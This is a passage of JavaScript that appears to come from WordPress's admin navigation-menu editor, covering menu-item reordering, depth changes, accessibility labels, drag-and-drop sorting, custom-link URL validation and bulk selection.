+ dir; // Change .menu-item-depth-n class. t.moveHorizontally( newDepth, depth ); }); }, moveHorizontally : function( newDepth, depth ) { return this.each(function(){ var t = $(this), children = t.childMenuItems(), diff = newDepth - depth, subItemText = t.find('.is-submenu'); // Change .menu-item-depth-n class. t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId(); // If it has children, move those too. if ( children ) { children.each(function() { var t = $(this), thisDepth = t.menuItemDepth(), newDepth = thisDepth + diff; t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId(); }); } // Show "Sub item" helper text. if (0 === newDepth) subItemText.hide(); else subItemText.show(); }); }, updateParentMenuItemDBId : function() { return this.each(function(){ var item = $(this), input = item.find( '.menu-item-data-parent-id' ), depth = parseInt( item.menuItemDepth(), 10 ), parentDepth = depth - 1, parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first(); if ( 0 === depth ) { // Item is on the top level, has no parent. input.val(0); } else { // Find the parent item, and retrieve its object id. input.val( parent.find( '.menu-item-data-db-id' ).val() ); } }); }, hideAdvancedMenuItemFields : function() { return this.each(function(){ var that = $(this); $('.hide-column-tog').not(':checked').each(function(){ that.find('.field-' + $(this).val() ).addClass('hidden-field'); }); }); }, /** * Adds selected menu items to the menu. * * @ignore * * @param jQuery metabox The metabox jQuery object. */ addSelectedToMenu : function(processMethod) { if ( 0 === $('#menu-to-edit').length ) { return false; } return this.each(function() { var t = $(this), menuItems = {}, checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ), re = /menu-item\[([^\]]*)/; processMethod = processMethod || api.addMenuItemToBottom; // If no items are checked, bail. if ( !checkboxes.length ) return false; // Show the Ajax spinner. t.find( '.button-controls .spinner' ).addClass( 'is-active' ); // Retrieve menu item data. $(checkboxes).each(function(){ var t = $(this), listItemDBIDMatch = re.exec( t.attr('name') ), listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10); if ( this.className && -1 != this.className.indexOf('add-to-top') ) processMethod = api.addMenuItemToTop; menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID ); }); // Add the items. api.addItemToMenu(menuItems, processMethod, function(){ // Deselect the items and hide the Ajax spinner. checkboxes.prop( 'checked', false ); t.find( '.button-controls .select-all' ).prop( 'checked', false ); t.find( '.button-controls .spinner' ).removeClass( 'is-active' ); t.updateParentDropdown(); t.updateOrderDropdown(); }); }); }, getItemData : function( itemType, id ) { itemType = itemType || 'menu-item'; var itemData = {}, i, fields = [ 'menu-item-db-id', 'menu-item-object-id', 'menu-item-object', 'menu-item-parent-id', 'menu-item-position', 'menu-item-type', 'menu-item-title', 'menu-item-url', 'menu-item-description', 'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn' ]; if( !id && itemType == 'menu-item' ) { id = this.find('.menu-item-data-db-id').val(); } if( !id ) return itemData; this.find('input').each(function() { var field; i = fields.length; while ( i-- ) { if( itemType == 'menu-item' ) field = fields[i] + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + fields[i] + ']'; if ( this.name && field == this.name ) { itemData[fields[i]] = this.value; } } }); return itemData; }, setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id. itemType = itemType || 'menu-item'; if( !id && itemType == 'menu-item' ) { id = $('.menu-item-data-db-id', this).val(); } if( !id ) return this; this.find('input').each(function() { var t = $(this), field; $.each( itemData, function( attr, val ) { if( itemType == 'menu-item' ) field = attr + '[' + id + ']'; else if( itemType == 'add-menu-item' ) field = 'menu-item[' + id + '][' + attr + ']'; if ( field == t.attr('name') ) { t.val( val ); } }); }); return this; }, updateParentDropdown : function() { return this.each(function(){ var menuItems = $( '#menu-to-edit li' ), parentDropdowns = $( '.edit-menu-item-parent' ); $.each( parentDropdowns, function() { var parentDropdown = $( this ), currentItemID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-db-id' ).val() ), currentParentID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-parent-id' ).val() ), currentItem = parentDropdown.closest( 'li.menu-item' ), currentMenuItemChild = currentItem.childMenuItems(), excludeMenuItem = /** @type {number[]} */ [ currentItemID ]; parentDropdown.empty(); if ( currentMenuItemChild.length > 0 ) { $.each( currentMenuItemChild, function(){ var childItem = $(this), childID = parseInt( childItem.find( '.menu-item-data-db-id' ).val() ); excludeMenuItem.push( childID ); }); } parentDropdown.append( $( '<option>', { value: '0', selected: currentParentID === 0, text: wp.i18n._x( 'No Parent', 'menu item without a parent in navigation menu' ), } ) ); $.each( menuItems, function() { var menuItem = $(this), menuID = parseInt( menuItem.find( '.menu-item-data-db-id' ).val() ), menuTitle = menuItem.find( '.edit-menu-item-title' ).val(); if ( ! excludeMenuItem.includes( menuID ) ) { parentDropdown.append( $( '<option>', { value: menuID.toString(), selected: currentParentID === menuID, text: menuTitle, } ) ); } }); }); }); }, updateOrderDropdown : function() { return this.each( function() { var itemPosition, orderDropdowns = $( '.edit-menu-item-order' ); $.each( orderDropdowns, function() { var orderDropdown = $( this ), menuItem = orderDropdown.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ); orderDropdown.empty(); if ( isPrimaryMenuItem ) { var primaryItems = $( '.menu-item-depth-0' ), totalMenuItems = primaryItems.length; itemPosition = primaryItems.index( menuItem ) + 1; for ( let i = 1; i < totalMenuItems + 1; i++ ) { var itemString = wp.i18n.sprintf( /* translators: 1: The current menu item number, 2: The total number of menu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: itemString, } ) ); } } else { var parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubMenuItems = subItems.length; itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; for ( let i = 1; i < totalSubMenuItems + 1; i++ ) { var submenuString = wp.i18n.sprintf( /* translators: 1: The current submenu item number, 2: The total number of submenu items. */ wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ), i, totalSubMenuItems ); orderDropdown.append( $( '<option>', { selected: i === itemPosition, value: i.toString(), text: submenuString, } ) ); } } }); }); } }); }, countMenuItems : function( depth ) { return $( '.menu-item-depth-' + depth ).length; }, moveMenuItem : function( $this, dir ) { var items, newItemPosition, newDepth, menuItems = $( '#menu-to-edit li' ), menuItemsCount = menuItems.length, thisItem = $this.parents( 'li.menu-item' ), thisItemChildren = thisItem.childMenuItems(), thisItemData = thisItem.getItemData(), thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ), thisItemPosition = parseInt( thisItem.index(), 10 ), nextItem = thisItem.next(), nextItemChildren = nextItem.childMenuItems(), nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1, prevItem = thisItem.prev(), prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ), prevItemId = prevItem.getItemData()['menu-item-db-id'], a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ]; switch ( dir ) { case 'up': newItemPosition = thisItemPosition - 1; // Already at top. if ( 0 === thisItemPosition ) break; // If a sub item is moved to top, shift it to 0 depth. if ( 0 === newItemPosition && 0 !== thisItemDepth ) thisItem.moveHorizontally( 0, thisItemDepth ); // If prev item is sub item, shift to match depth. if ( 0 !== prevItemDepth ) thisItem.moveHorizontally( prevItemDepth, thisItemDepth ); // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId(); } break; case 'down': // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ), nextItem = menuItems.eq( items.length + thisItemPosition ), nextItemChildren = 0 !== nextItem.childMenuItems().length; if ( nextItemChildren ) { newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1; thisItem.moveHorizontally( newDepth, thisItemDepth ); } // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + items.length ) break; items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId(); } else { // If next item has sub items, shift depth. if ( 0 !== nextItemChildren.length ) thisItem.moveHorizontally( nextItemDepth, thisItemDepth ); // Have we reached the bottom? if ( menuItemsCount === thisItemPosition + 1 ) break; thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId(); } break; case 'top': // Already at top. if ( 0 === thisItemPosition ) break; // Does this item have sub items? if ( thisItemChildren ) { items = thisItem.add( thisItemChildren ); // Move the entire block. items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } else { thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId(); } break; case 'left': // As far left as possible. if ( 0 === thisItemDepth ) break; thisItem.shiftHorizontally( -1 ); break; case 'right': // Can't be sub item at top. if ( 0 === thisItemPosition ) break; // Already sub item of prevItem. if ( thisItemData['menu-item-parent-id'] === prevItemId ) break; thisItem.shiftHorizontally( 1 ); break; } $this.trigger( 'focus' ); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); thisItem.updateParentDropdown(); thisItem.updateOrderDropdown(); if ( a11ySpeech ) { wp.a11y.speak( a11ySpeech ); } }, initAccessibility : function() { var menu = $( '#menu-to-edit' ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){ api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'a.item-edit', function() { api.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); // Links for moving items. menu.on( 'click', '.menus-move', function () { var $this = $( this ), dir = $this.data( 'dir' ); if ( 'undefined' !== typeof dir ) { api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir ); } }); // Set menu parents data for all menu items. menu.updateParentDropdown(); // Set menu order data for all menu items. menu.updateOrderDropdown(); // Update menu item parent when value is changed. menu.on( 'change', '.edit-menu-item-parent', function() { api.changeMenuParent( $( this ) ); }); // Update menu item order when value is changed. menu.on( 'change', '.edit-menu-item-order', function() { api.changeMenuOrder( $( this ) ); }); }, /** * changeMenuParent( [parentDropdown] ) * * @since 6.7.0 * * @param {object} parentDropdown select field */ changeMenuParent : function( parentDropdown ) { var menuItemNewPosition, menuItems = $( '#menu-to-edit li' ), $this = $( parentDropdown ), newParentID = $this.val(), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemOldDepth = menuItem.menuItemDepth(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = parseInt( menuItem.childMenuItems().length, 10 ), parentItem = $( '#menu-item-' + newParentID ), parentItemDepth = parentItem.menuItemDepth(), menuItemNewDepth = parseInt( parentItemDepth ) + 1; if ( newParentID == 0 ) { menuItemNewDepth = 0; } menuItem.find( '.menu-item-data-parent-id' ).val( newParentID ); menuItem.moveHorizontally( menuItemNewDepth, menuItemOldDepth ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } menuItem.detach(); menuItems = $( '#menu-to-edit li' ); var parentItemPosition = parseInt( parentItem.index(), 10 ), parentItemNoChild = parseInt( parentItem.childMenuItems().length, 10 ); if ( parentItemNoChild > 0 ){ menuItemNewPosition = parentItemPosition + parentItemNoChild; } else { menuItemNewPosition = parentItemPosition; } if ( newParentID == 0 ) { menuItemNewPosition = menuItems.length - 1; } menuItem.insertAfter( menuItems.eq( menuItemNewPosition ) ).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown(); api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.parentUpdated, 'polite' ); }, /** * changeMenuOrder( [OrderDropdown] ) * * @since 6.7.0 * * @param {object} orderDropdown select field */ changeMenuOrder : function( orderDropdown ) { var menuItems = $( '#menu-to-edit li' ), $this = $( orderDropdown ), newOrderID = parseInt( $this.val(), 10), menuItem = $this.closest( 'li.menu-item' ).first(), menuItemChildren = menuItem.childMenuItems(), menuItemNoChildren = menuItemChildren.length, menuItemCurrentPosition = parseInt( menuItem.index(), 10 ), parentItemID = menuItem.find( '.menu-item-data-parent-id' ).val(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemID + '"]' ), currentItemAtPosition = $(subItems[newOrderID - 1]).closest( 'li.menu-item' ); if ( menuItemNoChildren > 0 ) { menuItem = menuItem.add( menuItemChildren ); } var currentItemNoChildren = currentItemAtPosition.childMenuItems().length, currentItemPosition = parseInt( currentItemAtPosition.index(), 10 ); menuItems = $( '#menu-to-edit li' ); var menuItemNewPosition = currentItemPosition; if(menuItemCurrentPosition > menuItemNewPosition){ menuItemNewPosition = currentItemPosition; menuItem.detach().insertBefore( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } else { menuItemNewPosition = menuItemNewPosition + currentItemNoChildren; menuItem.detach().insertAfter( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown(); } api.registerChange(); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); $this.trigger( 'focus' ); wp.a11y.speak( menus.orderUpdated, 'polite' ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed */ refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var thisLink, thisLinkText, primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-controls' ).find( '.item-type' ).text(), position = parseInt( menuItem.index(), 10 ), prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ), prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(), prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(), totalMenuItems = $('#menu-to-edit li').length, hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length; menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 ); // Where can they move this menu item? if ( 0 !== position ) { thisLink = menuItem.find( '.menus-move-up' ); thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' ); } if ( 0 !== position && isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-top' ); thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' ); } if ( position + 1 !== totalMenuItems && 0 !== position ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( 0 === position && 0 !== hasSameDepthSibling ) { thisLink = menuItem.find( '.menus-move-down' ); thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' ); } if ( ! isPrimaryMenuItem ) { thisLink = menuItem.find( '.menus-move-left' ), thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft ); thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' ); } if ( 0 !== position ) { if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) { thisLink = menuItem.find( '.menus-move-right' ), thisLinkText = menus.under.replace( '%s', prevItemNameRight ); thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' ); } } if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.attr( 'aria-label', title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * refreshAdvancedAccessibility * * Hides all advanced accessibility buttons and marks them for refreshing. */ refreshAdvancedAccessibility : function() { // Hide all the move buttons by default. $( '.menu-item-settings .field-move .menus-move' ).hide(); // Mark all menu items as unprocessed. $( 'a.item-edit' ).data( 'needs_accessibility_refresh', true ); // All open items have to be refreshed or they will show no links. $( '.menu-item-edit-active a.item-edit' ).each( function() { api.refreshAdvancedAccessibilityOfItem( this ); } ); }, refreshKeyboardAccessibility : function() { $( 'a.item-edit' ).off( 'focus' ).on( 'focus', function(){ $(this).off( 'keydown' ).on( 'keydown', function(e){ var arrows, $this = $( this ), thisItem = $this.parents( 'li.menu-item' ), thisItemData = thisItem.getItemData(); // Bail if it's not an arrow key. if ( 37 != e.which && 38 != e.which && 39 != e.which && 40 != e.which ) return; // Avoid multiple keydown events. $this.off('keydown'); // Bail if there is only one menu item. if ( 1 === $('#menu-to-edit li').length ) return; // If RTL, swap left/right arrows. arrows = { '38': 'up', '40': 'down', '37': 'left', '39': 'right' }; if ( $('body').hasClass('rtl') ) arrows = { '38' : 'up', '40' : 'down', '39' : 'left', '37' : 'right' }; switch ( arrows[e.which] ) { case 'up': api.moveMenuItem( $this, 'up' ); break; case 'down': api.moveMenuItem( $this, 'down' ); break; case 'left': api.moveMenuItem( $this, 'left' ); break; case 'right': api.moveMenuItem( $this, 'right' ); break; } // Put focus back on same menu item. $( '#edit-' + thisItemData['menu-item-db-id'] ).trigger( 'focus' ); return false; }); }); }, initPreviewing : function() { // Update the item handle title when the navigation label is changed. $( '#menu-to-edit' ).on( 'change input', '.edit-menu-item-title', function(e) { var input = $( e.currentTarget ), title, titleEl; title = input.val(); titleEl = input.closest( '.menu-item' ).find( '.menu-item-title' ); // Don't update to empty title. if ( title ) { titleEl.text( title ).removeClass( 'no-title' ); } else { titleEl.text( wp.i18n._x( '(no label)', 'missing menu item navigation label' ) ).addClass( 'no-title' ); } } ); }, initToggles : function() { // Init postboxes. postboxes.add_postbox_toggles('nav-menus'); // Adjust columns functions for menus UI. columns.useCheckboxesForHidden(); columns.checked = function(field) { $('.field-' + field).removeClass('hidden-field'); }; columns.unchecked = function(field) { $('.field-' + field).addClass('hidden-field'); }; // Hide fields. api.menuList.hideAdvancedMenuItemFields(); $('.hide-postbox-tog').on( 'click', function () { var hidden = $( '.accordion-container li.accordion-section' ).filter(':hidden').map(function() { return this.id; }).get().join(','); $.post(ajaxurl, { action: 'closed-postboxes', hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: 'nav-menus' }); }); }, initSortables : function() { var currentDepth = 0, originalDepth, minDepth, maxDepth, prev, next, prevBottom, nextThreshold, helperHeight, transport, menuEdge = api.menuList.offset().left, body = $('body'), maxChildDepth, menuMaxDepth = initialMenuMaxDepth(); if( 0 !== $( '#menu-to-edit li' ).length ) $( '.drag-instructions' ).show(); // Use the right edge if RTL. menuEdge += api.isRTL ? api.menuList.width() : 0; api.menuList.sortable({ handle: '.menu-item-handle', placeholder: 'sortable-placeholder', items: api.options.sortableItems, start: function(e, ui) { var height, width, parent, children, tempHolder; // Handle placement for RTL orientation. if ( api.isRTL ) ui.item[0].style.right = 'auto'; transport = ui.item.children('.menu-item-transport'); // Set depths. currentDepth must be set before children are located. originalDepth = ui.item.menuItemDepth(); updateCurrentDepth(ui, originalDepth); // Attach child elements to parent. // Skip the placeholder. parent = ( ui.item.next()[0] == ui.placeholder[0] ) ? ui.item.next() : ui.item; children = parent.childMenuItems(); transport.append( children ); // Update the height of the placeholder to match the moving item. height = transport.outerHeight(); // If there are children, account for distance between top of children and parent. height += ( height > 0 ) ? (ui.placeholder.css('margin-top').slice(0, -2) * 1) : 0; height += ui.helper.outerHeight(); helperHeight = height; height -= 2; // Subtract 2 for borders. ui.placeholder.height(height); // Update the width of the placeholder to match the moving item. maxChildDepth = originalDepth; children.each(function(){ var depth = $(this).menuItemDepth(); maxChildDepth = (depth > maxChildDepth) ? depth : maxChildDepth; }); width = ui.helper.find('.menu-item-handle').outerWidth(); // Get original width. width += api.depthToPx(maxChildDepth - originalDepth); // Account for children. width -= 2; // Subtract 2 for borders. ui.placeholder.width(width); // Update the list of menu items. tempHolder = ui.placeholder.next( '.menu-item' ); tempHolder.css( 'margin-top', helperHeight + 'px' ); // Set the margin to absorb the placeholder. ui.placeholder.detach(); // Detach or jQuery UI will think the placeholder is a menu item. $(this).sortable( 'refresh' ); // The children aren't sortable. We should let jQuery UI know. ui.item.after( ui.placeholder ); // Reattach the placeholder. tempHolder.css('margin-top', 0); // Reset the margin. // Now that the element is complete, we can update... updateSharedVars(ui); }, stop: function(e, ui) { var children, subMenuTitle, depthChange = currentDepth - originalDepth; // Return child elements to the list. children = transport.children().insertAfter(ui.item); // Add "sub menu" description. subMenuTitle = ui.item.find( '.item-title .is-submenu' ); if ( 0 < currentDepth ) subMenuTitle.show(); else subMenuTitle.hide(); // Update depth classes. if ( 0 !== depthChange ) { ui.item.updateDepthClass( currentDepth ); children.shiftDepthClass( depthChange ); updateMenuMaxDepth( depthChange ); } // Register a change. api.registerChange(); // Update the item data. ui.item.updateParentMenuItemDBId(); // Address sortable's incorrectly-calculated top in Opera. ui.item[0].style.top = 0; // Handle drop placement for rtl orientation. if ( api.isRTL ) { ui.item[0].style.left = 'auto'; ui.item[0].style.right = 0; } api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); ui.item.updateParentDropdown(); ui.item.updateOrderDropdown(); api.refreshAdvancedAccessibilityOfItem( ui.item.find( 'a.item-edit' ) ); }, change: function(e, ui) { // Make sure the placeholder is inside the menu. // Otherwise fix it, or we're in trouble. if( ! ui.placeholder.parent().hasClass('menu') ) (prev.length) ? prev.after( ui.placeholder ) : api.menuList.prepend( ui.placeholder ); updateSharedVars(ui); }, sort: function(e, ui) { var offset = ui.helper.offset(), edge = api.isRTL ? offset.left + ui.helper.width() : offset.left, depth = api.negateIfRTL * api.pxToDepth( edge - menuEdge ); /* * Check and correct if depth is not within range. * Also, if the dragged element is dragged upwards over an item, * shift the placeholder to a child position. */ if ( depth > maxDepth || offset.top < ( prevBottom - api.options.targetTolerance ) ) { depth = maxDepth; } else if ( depth < minDepth ) { depth = minDepth; } if( depth != currentDepth ) updateCurrentDepth(ui, depth); // If we overlap the next element, manually shift downwards. if( nextThreshold && offset.top + helperHeight > nextThreshold ) { next.after( ui.placeholder ); updateSharedVars( ui ); $( this ).sortable( 'refreshPositions' ); } } }); function updateSharedVars(ui) { var depth; prev = ui.placeholder.prev( '.menu-item' ); next = ui.placeholder.next( '.menu-item' ); // Make sure we don't select the moving item. if( prev[0] == ui.item[0] ) prev = prev.prev( '.menu-item' ); if( next[0] == ui.item[0] ) next = next.next( '.menu-item' ); prevBottom = (prev.length) ? prev.offset().top + prev.height() : 0; nextThreshold = (next.length) ? next.offset().top + next.height() / 3 : 0; minDepth = (next.length) ? next.menuItemDepth() : 0; if( prev.length ) maxDepth = ( (depth = prev.menuItemDepth() + 1) > api.options.globalMaxDepth ) ? api.options.globalMaxDepth : depth; else maxDepth = 0; } function updateCurrentDepth(ui, depth) { ui.placeholder.updateDepthClass( depth, currentDepth ); currentDepth = depth; } function initialMenuMaxDepth() { if( ! body[0].className ) return 0; var match = body[0].className.match(/menu-max-depth-(\d+)/); return match && match[1] ? parseInt( match[1], 10 ) : 0; } function updateMenuMaxDepth( depthChange ) { var depth, newDepth = menuMaxDepth; if ( depthChange === 0 ) { return; } else if ( depthChange > 0 ) { depth = maxChildDepth + depthChange; if( depth > menuMaxDepth ) newDepth = depth; } else if ( depthChange < 0 && maxChildDepth == menuMaxDepth ) { while( ! $('.menu-item-depth-' + newDepth, api.menuList).length && newDepth > 0 ) newDepth--; } // Update the depth class. body.removeClass( 'menu-max-depth-' + menuMaxDepth ).addClass( 'menu-max-depth-' + newDepth ); menuMaxDepth = newDepth; } }, initManageLocations : function () { $('#menu-locations-wrap form').on( 'submit', function(){ window.onbeforeunload = null; }); $('.menu-location-menus select').on('change', function () { var editLink = $(this).closest('tr').find('.locations-edit-menu-link'); if ($(this).find('option:selected').data('orig')) editLink.show(); else editLink.hide(); }); }, attachMenuEditListeners : function() { var that = this; $('#update-nav-menu').on('click', function(e) { if ( e.target && e.target.className ) { if ( -1 != e.target.className.indexOf('item-edit') ) { return that.eventOnClickEditLink(e.target); } else if ( -1 != e.target.className.indexOf('menu-save') ) { return that.eventOnClickMenuSave(e.target); } else if ( -1 != e.target.className.indexOf('menu-delete') ) { return that.eventOnClickMenuDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-delete') ) { return that.eventOnClickMenuItemDelete(e.target); } else if ( -1 != e.target.className.indexOf('item-cancel') ) { return that.eventOnClickCancelLink(e.target); } } }); $( '#menu-name' ).on( 'input', _.debounce( function () { var menuName = $( document.getElementById( 'menu-name' ) ), menuNameVal = menuName.val(); if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { // Add warning for invalid menu name. menuName.parent().addClass( 'form-invalid' ); } else { // Remove warning for valid menu name. menuName.parent().removeClass( 'form-invalid' ); } }, 500 ) ); $('#add-custom-links input[type="text"]').on( 'keypress', function(e){ $( '#customlinkdiv' ).removeClass( 'form-invalid' ); $( '#custom-menu-item-url' ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' ); $( '#custom-url-error' ).hide(); if ( e.keyCode === 13 ) { e.preventDefault(); $( '#submit-customlinkdiv' ).trigger( 'click' ); } }); $( '#submit-customlinkdiv' ).on( 'click', function (e) { var urlInput = $( '#custom-menu-item-url' ), url = urlInput.val().trim(), errorMessage = $( '#custom-url-error' ), urlWrap = $( '#menu-item-url-wrap' ), urlRegex; // Hide the error message initially errorMessage.hide(); urlWrap.removeClass( 'has-error' ); /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { e.preventDefault(); urlInput.addClass( 'form-invalid' ) .attr( 'aria-invalid', 'true' ) .attr( 'aria-describedby', 'custom-url-error' ); errorMessage.show(); var errorText = errorMessage.text(); urlWrap.addClass( 'has-error' ); // Announce error message via screen reader wp.a11y.speak( errorText, 'assertive' ); } }); }, /** * Handle toggling bulk selection checkboxes for menu items. * * @since 5.8.0 */ attachBulkSelectButtonListeners : function() { var that = this; $( '.bulk-select-switcher' ).on( 'change', function() { if ( this.checked ) { $( '.bulk-select-switcher' ).prop( 'checked', true ); that.enableBulkSelection(); } else { $( '.bulk-select-switcher' ).prop( 'checked', false ); that.disableBulkSelection(); } }); }, /** * Enable bulk selection checkboxes for menu items. * * @since 5.8.0 */ enableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' ); $.each( checkbox, function() { $(this).prop( 'disabled', false ); }); }, /** * Disable bulk selection checkboxes for menu items. * * @since 5.8.0 */ disableBulkSelection : function() { var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $( '#menu-to-edit' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' ); $( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' ); if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).removeAttr( 'aria-describedby' ); } $.each( checkbox, function() { $(this).prop( 'disabled', true ).prop( 'checked', false ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( 